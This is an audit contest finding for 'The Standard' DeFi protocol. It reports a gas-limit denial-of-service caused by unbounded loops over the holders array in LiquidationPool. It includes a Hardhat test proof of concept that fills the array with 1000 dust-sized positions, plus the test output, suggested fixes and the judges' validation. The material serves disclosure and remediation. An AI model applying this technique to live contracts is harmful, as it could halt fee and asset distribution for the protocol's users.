The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

DoS attack due to unbounded for loops in LiquidatePool.sol

Summary

In the contract LiquidatePool.sol we have 2 functions that depend on the loop over holders.length:

distributeAssets()

distributeFees()

A malicious user can keep generating new addresses and minting minimal amounts of tokens to make the aforementioned functions exceed the block gas limit, stopping the distribution of fees and assets.

Note: There is also another private functions that also depends on holders.length

Vulnerability Details

To prove that we can add infinite addresses to the holders array, we need to add to the hardhat.config.js file:

mocha: {
timeout: 0,
},
networks: {
hardhat: {
accounts: {
count: 1000,
},
},
},

Now, we are going to create the PoC:

  1. We set the hardhat signers to 1000 to probe that we can add an unlimited addresses.

  2. We created the LiquidationPool.getHoldersLength() to return the number of users in the liquidationPool.

function getHoldersLength() external view returns (uint256) {
return (holders.length);
}
  1. valueFee0 is the mint value where the Fee calculation is 0 so no cost to the attacker.

    • NOTE: This is also a vulnerability, also reported.

  2. We add the 1000 malicious users to holders array.

  3. We could continue adding users, at one point, the functions distributeAssets() and distributeFees() (and the privates ones) will fail due to gas limit.

describe.only("Audit test", async () => {
it("DoS attack adding infinite holders", async () => {
console.log(
"holders length init: ",
await LiquidationPool.getHoldersLength()
);
const users = await ethers.getSigners();
const valueFee0 = ethers.utils.parseEther("0.0000000000000001");
for (let i = 0; i < users.length; i++) {
await EUROs.mint(users[i].address, valueFee0);
await EUROs.connect(users[i]).approve(
LiquidationPool.address,
valueFee0
);
await LiquidationPool.connect(users[i]).increasePosition(0, valueFee0);
}
console.log(
"holders length after malicious user attack: ",
await LiquidationPool.getHoldersLength()
);
});
});
2023-12-the-standard git:(main) ✗ npx hardhat test
LiquidationPool
Audit test
holders length init: BigNumber { value: "0" }
holders length after malicious user attack: BigNumber { value: "1000" }
✔ DoS attack adding infinite holders (537790ms)
1 passing (9m)
2023-12-the-standard git:(main) ✗

Impact

The protocol will potentially stop distributing fees and assets, so this is a HIGH vulnerability that needs to be addressed before the protocol is deployed.

Tools Used

Hardhat, manual check.

Recommendations

There are different approaches we can take:

  1. Process the holders.length in batches.

  2. Change the distribution to a dividensPerShare, for example, where we have created a fee x atomic value distribution or similar.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.